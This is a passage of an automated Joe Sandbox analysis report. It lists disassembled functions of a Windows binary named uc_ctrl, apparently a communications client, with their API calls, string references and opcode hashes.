                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorMode$ExtensionFileFindModuleNamePath
                                                                                              • String ID:
                                                                                              • API String ID: 1764437154-0
                                                                                              • Opcode ID: 76f66da8b8cf3cb03786f10fbcf9503f4e3be47096047b323e915378402dc3fc
                                                                                              • Instruction ID: 7344b37afb7211626a00ac46c3f54a8663f68e90431a20642632557a5937c5b5
                                                                                              • Opcode Fuzzy Hash: 76f66da8b8cf3cb03786f10fbcf9503f4e3be47096047b323e915378402dc3fc
                                                                                              • Instruction Fuzzy Hash: CDF0BE719162448FDB80EF64D008B8A7BF8EF05368F10C099E809CB711CB72C842CFA2
                                                                                              Function 6CFBED6E Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CFBED75
                                                                                                • Part of subcall function 6CFBFA50: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003), ref: 6CFBFAAD
                                                                                                • Part of subcall function 6CFBFA50: VerSetConditionMask.KERNEL32(00000000), ref: 6CFBFAB5
                                                                                                • Part of subcall function 6CFBFA50: VerifyVersionInfoW.KERNEL32(0000011C,00000003,00000000), ref: 6CFBFAC6
                                                                                                • Part of subcall function 6CFBFA50: GetSystemMetrics.USER32(00001000), ref: 6CFBFAD7
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ConditionMask$H_prolog3InfoMetricsSystemVerifyVersion
                                                                                              • String ID:
                                                                                              • API String ID: 2710481357-0
                                                                                              • Opcode ID: 9d708b80c0d6a5d5f9d38cfef4e5840d51cbc652684b5a2dc58066cbaf8a9b4e
                                                                                              • Instruction ID: 4e6b84aa606532cbb214bae5680f0ebb48f9868f63408b59e3386d232c116d9d
                                                                                              • Opcode Fuzzy Hash: 9d708b80c0d6a5d5f9d38cfef4e5840d51cbc652684b5a2dc58066cbaf8a9b4e
                                                                                              • Instruction Fuzzy Hash: E751CEB0945F41CFD3A9CF3A85417C6FAE0BF89300F108A2E91AED7661EB7061858F95
                                                                                              Function 6CF8AF82 Relevance: 1.6, APIs: 1, Instructions: 58COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3
                                                                                              • String ID:
                                                                                              • API String ID: 431132790-0
                                                                                              • Opcode ID: e4321ee413cef9ea51aaabea94baf9d97c408e1c0a62b60dfc34fb290595cb46
                                                                                              • Instruction ID: 28819788bead88f2293e097ddc14645e381b37564ad7921db219d0ee9c2fe324
                                                                                              • Opcode Fuzzy Hash: e4321ee413cef9ea51aaabea94baf9d97c408e1c0a62b60dfc34fb290595cb46
                                                                                              • Instruction Fuzzy Hash: 6A112E31B015258FDF04AB648890B6C73A6AF88658F0544A9C916EF395DF34AC09CFD6
                                                                                              Function 6D0D3529 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6D0D39D9,00000001,00000364,?,6D0C6FFF,6D0D34C4,?,?,6CF8A014,?,00000001,?), ref: 6D0D356A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AllocateHeap
                                                                                              • String ID:
                                                                                              • API String ID: 1279760036-0
                                                                                              • Opcode ID: 8492ae3b2e6a278f510c004f4da36aca28dac0547aae84cfe5f218ab7c52d98b
                                                                                              • Instruction ID: b00f897b95529a83376a78d61034acbac08406ff5adb1881a6e04176db479e2c
                                                                                              • Opcode Fuzzy Hash: 8492ae3b2e6a278f510c004f4da36aca28dac0547aae84cfe5f218ab7c52d98b
                                                                                              • Instruction Fuzzy Hash: F4F0E931A483269BFB955A6A9801B6B3BD8AF497B0B51C013EC14D7188CB30FA01C6E1
                                                                                              Function 6D0D3481 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • RtlAllocateHeap.NTDLL(00000000,?,?,?,6CF8A014,?,00000001,?,?,6CF70D34,?), ref: 6D0D34B3
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AllocateHeap
                                                                                              • String ID:
                                                                                              • API String ID: 1279760036-0
                                                                                              • Opcode ID: 4b77504107b778086389c406caec487f21b85af3cec719736cf6bac5e00c22a7
                                                                                              • Instruction ID: e064f3ede977dd94cd03a440dd293069adb462c336daff53ece9989006ed6554
                                                                                              • Opcode Fuzzy Hash: 4b77504107b778086389c406caec487f21b85af3cec719736cf6bac5e00c22a7
                                                                                              • Instruction Fuzzy Hash: 87E02B3214971357FB9316699C00B6B7BD89F4A3B4F114023EE1897180DB2CF801C1E1
                                                                                              Function 6CF8B968 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 176396367-0
                                                                                              • Opcode ID: 39fb0906e3a5f1d6309373be30d47d5a8f82d7f50d3dc4b9821f63c0dd148f3b
                                                                                              • Instruction ID: 1a76ffe8a78f771d72c69dccba70747e6078028de744a9bef6ea607cb5103f2d
                                                                                              • Opcode Fuzzy Hash: 39fb0906e3a5f1d6309373be30d47d5a8f82d7f50d3dc4b9821f63c0dd148f3b
                                                                                              • Instruction Fuzzy Hash: 63E02633805626A78B224F569C008CF777CEF813A4705483AFD18A3610E731952183E0
                                                                                              Function 6CF8A91A Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • FindResourceW.KERNEL32(8007000E,?,00000006,?,6CF8B0E8,8007000E,?,00000000,00000000,?,6CF8B0D1,00000000,8007000E,8007000E,?), ref: 6CF8A92D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: FindResource
                                                                                              • String ID:
                                                                                              • API String ID: 1635176832-0
                                                                                              • Opcode ID: abad9afcb67de160f14dbd5de2187bb89d3090889ba0b37d58d6471c2a210af8
                                                                                              • Instruction ID: 4cb004dd6ca087db1ed1253c0f5cfe90946e71f8c01afe6c35297bdfebcb9a6a
                                                                                              • Opcode Fuzzy Hash: abad9afcb67de160f14dbd5de2187bb89d3090889ba0b37d58d6471c2a210af8
                                                                                              • Instruction Fuzzy Hash: A0D05E7114410C7FEF014E85EC00BBA3BFDEB80658F009061FC0DC8560E732DA61AA50
                                                                                              Function 6CF89AA0 Relevance: 1.5, APIs: 1, Instructions: 11COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: allocator
                                                                                              • String ID:
                                                                                              • API String ID: 3447690668-0
                                                                                              • Opcode ID: 671d9d7ba61936d4a068247781cc2f925fbd66ffd20b79b1b6846982941532a6
                                                                                              • Instruction ID: c1dddabd3862ae087891ea14b46711d968f84973b54ead2de13b8a617af9f3a3
                                                                                              • Opcode Fuzzy Hash: 671d9d7ba61936d4a068247781cc2f925fbd66ffd20b79b1b6846982941532a6
                                                                                              • Instruction Fuzzy Hash: 1AC04CB190910CBB8708DF89E941C9EB7BCDB59350F1041A9B90997700DA716F10D7E9
                                                                                              Function 6CF95CD2 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CF95CE1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: DeleteObject
                                                                                              • String ID:
                                                                                              • API String ID: 1531683806-0
                                                                                              • Opcode ID: e04815d98ba74492f7390b53b881688cd28f1a7d02260af7dc7c7fd9a03f081b
                                                                                              • Instruction ID: b534ae1c184e15b7cba425eb2465aea5de6b103f2ca86f98b226dd359c9608f9
                                                                                              • Opcode Fuzzy Hash: e04815d98ba74492f7390b53b881688cd28f1a7d02260af7dc7c7fd9a03f081b
                                                                                              • Instruction Fuzzy Hash: 17B01270906104BEEF005730C50C70636B4AB4631FF248B95E404CA414DB39C0CAC900
                                                                                              Function 6CF719A0 Relevance: 1.5, APIs: 1, Instructions: 2COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$CreateModuleNamePathReadRemoveSizeSpec
                                                                                              • String ID:
                                                                                              • API String ID: 2445516684-0
                                                                                              • Opcode ID: 2ffc6a9c33a3f15cabbc565861c068fc75a9d2146fed3b00c623d02ab36d170c
                                                                                              • Instruction ID: f7e4b36bcfac767b1c8927302a64533e62abbd87bb28a4b0d63927e5461a41b1
                                                                                              • Opcode Fuzzy Hash: 2ffc6a9c33a3f15cabbc565861c068fc75a9d2146fed3b00c623d02ab36d170c
                                                                                              • Instruction Fuzzy Hash:

                                                                                              Non-executed Functions

                                                                                              Function 00106C80 Relevance: 86.3, APIs: 39, Strings: 10, Instructions: 541windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?SetInstance@CPaintManagerUI@UiLib@@SAXPAUHINSTANCE__@@@Z.UC_GUILIB(?), ref: 00106CA5
                                                                                              • ?GetInstancePath@CPaintManagerUI@UiLib@@SA?AVCDuiString@2@XZ.UC_GUILIB(?), ref: 00106CBC
                                                                                              • ??HCDuiString@UiLib@@QBE?AV01@PB_W@Z.UC_GUILIB(?,..\data\skins\), ref: 00106CD2
                                                                                              • ??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB ref: 00106CE0
                                                                                              • ?SetResourcePath@CPaintManagerUI@UiLib@@SAXPB_W@Z.UC_GUILIB(00000000), ref: 00106CE3
                                                                                              • ??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB ref: 00106CF6
                                                                                              • ?GetInstance@CSkinConfigUI@UiLib@@SAPAV12@XZ.UC_GUILIB(skin.xml), ref: 00106CFD
                                                                                              • ?Init@CSkinConfigUI@UiLib@@QAE_NPB_W@Z.UC_GUILIB ref: 00106D05
                                                                                              • ??HCDuiString@UiLib@@QBE?AV01@PB_W@Z.UC_GUILIB(?,SkinRes.dll,SKINDATA), ref: 00106D21
                                                                                              • ??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB ref: 00106D29
                                                                                              • ?SetResourceDll@CPaintManagerUI@UiLib@@SAXPB_W0@Z.UC_GUILIB(00000000), ref: 00106D2C
                                                                                              • ??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB ref: 00106D39
                                                                                                • Part of subcall function 001064F0: GetProcessHeap.KERNEL32(00000000), ref: 00106531
                                                                                              • memset.VCRUNTIME140(?,00000000,00000208), ref: 00106D68
                                                                                              • SHGetMalloc.SHELL32(?), ref: 00106D83
                                                                                              • SHGetSpecialFolderLocation.SHELL32(00000000,00000005,00000000), ref: 00106D9D
                                                                                              • SHGetPathFromIDListW.SHELL32(?,?), ref: 00106DBA
                                                                                              • ?GetInstancePath@CPaintManagerUI@UiLib@@SA?AVCDuiString@2@XZ.UC_GUILIB(?), ref: 00106EDB
                                                                                              • ??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB ref: 00106EE2
                                                                                              • ??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB(00000000), ref: 00106EF9
                                                                                              • memset.VCRUNTIME140(?,00000000,00000200,0010A9B4,00000000), ref: 00106F72
                                                                                              • GetPrivateProfileStringW.KERNEL32(0010B144,root_data_path,00000010,?,000000FF,?), ref: 00106FAA
                                                                                              • memmove.VCRUNTIME140(00000007,\config\config.ini,00000024,?,?,?,?), ref: 001070DB
                                                                                              • GetPrivateProfileIntW.KERNEL32(0010B188,language,00000804,?), ref: 00107174
                                                                                              • ??HCDuiString@UiLib@@QBE?AV01@PB_W@Z.UC_GUILIB(?,..\language\,?,?,?,?,?,uc.ini,00000006), ref: 001071C9
                                                                                              • ??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB(?,?,?,?,uc.ini,00000006), ref: 001071D1
                                                                                              • ?SetLanguagePath@CLanguageUI@UiLib@@SAXPB_W0@Z.UC_GUILIB(00000000,?,?,?,?,uc.ini,00000006), ref: 001071D8
                                                                                              • ??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB(?,?,?,?,?,?,uc.ini,00000006), ref: 001071E5
                                                                                              • GdiplusStartup.GDIPLUS(?,?,00000001,?), ref: 00107225
                                                                                              • CoInitialize.OLE32(00000000), ref: 0010722D
                                                                                              • LoadIconW.USER32(?,0000006B), ref: 00107241
                                                                                              • memset.VCRUNTIME140(00000000,00000000,00000834,00000000,?,?,?,?,?,?,uc.ini,00000006), ref: 00107262
                                                                                              • ??0WindowImplBase@UiLib@@QAE@XZ.UC_GUILIB(?,?,?,00000000,?,?,?,?,?,?,uc.ini,00000006), ref: 0010726C
                                                                                              • ?Create@CWindowWnd@UiLib@@QAEPAUHWND__@@PAU3@PB_WKKPAUHICON__@@HHHHPAUHMENU__@@@Z.UC_GUILIB(00000000,00000000,96C80000,00000000,?,80000000,80000000,80000000,80000000,00000000), ref: 0010735A
                                                                                              • ?CenterWindow@CWindowWnd@UiLib@@QAEXHH_N@Z.UC_GUILIB(00000000,00000000,00000001), ref: 00107368
                                                                                              • ?ShowWindow@CWindowWnd@UiLib@@QAEX_N0@Z.UC_GUILIB(00000001,00000001), ref: 00107374
                                                                                              • ?MessageLoop@CPaintManagerUI@UiLib@@SAXXZ.UC_GUILIB ref: 0010737A
                                                                                              • GdiplusShutdown.GDIPLUS(?), ref: 00107387
                                                                                              • _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000001,?), ref: 00107457
                                                                                              • ??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB(?,?,00000001,?), ref: 001074A3
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Lib@@$String@$ManagerPaint$Path@Window$V01@Wnd@memset$ConfigGdiplusInstanceInstance@LanguagePrivateProfileResourceSkinString@2@Window@$Base@CenterCreate@D__@@Dll@E__@@@FolderFromHeapIconImplInit@InitializeListLoadLocationLoop@MallocMessageN__@@PathProcessShowShutdownSpecialStartupStringU__@@@V12@_invalid_parameter_noinfo_noreturnmemmove
                                                                                              • String ID: ..\data\skins\$..\language\$SKINDATA$SkinRes.dll$\UCaaS9 Files\$\config\config.ini$language$root_data_path$skin.xml$uc.ini
                                                                                              • API String ID: 2682703741-917251667
                                                                                              • Opcode ID: b072aec575560773d2c9145c36e7e7e1bf2637dc13a906e672b5508dc18e5a0b
                                                                                              • Instruction ID: 8c4fdd7b0f6203fdff790989f9c51704927399a66cd1e92bd5f72569cdba47da
                                                                                              • Opcode Fuzzy Hash: b072aec575560773d2c9145c36e7e7e1bf2637dc13a906e672b5508dc18e5a0b
                                                                                              • Instruction Fuzzy Hash: E4227F716043419FD724DF64CC99B9AB7E5BF84304F04892CE9CACB6D1EBB4A544CB92
                                                                                              Function 6CEDEA18 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 263COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016,?,00000001,00000000), ref: 6CEDEA7B
                                                                                              • memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016), ref: 6CEDEAB3
                                                                                              • localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6CEDEAC3
                                                                                              • memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016), ref: 6CEDEAFA
                                                                                              • memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016), ref: 6CEDEB30
                                                                                              • isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000007,00000007), ref: 6CEDEC2C
                                                                                              • isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEDEC55
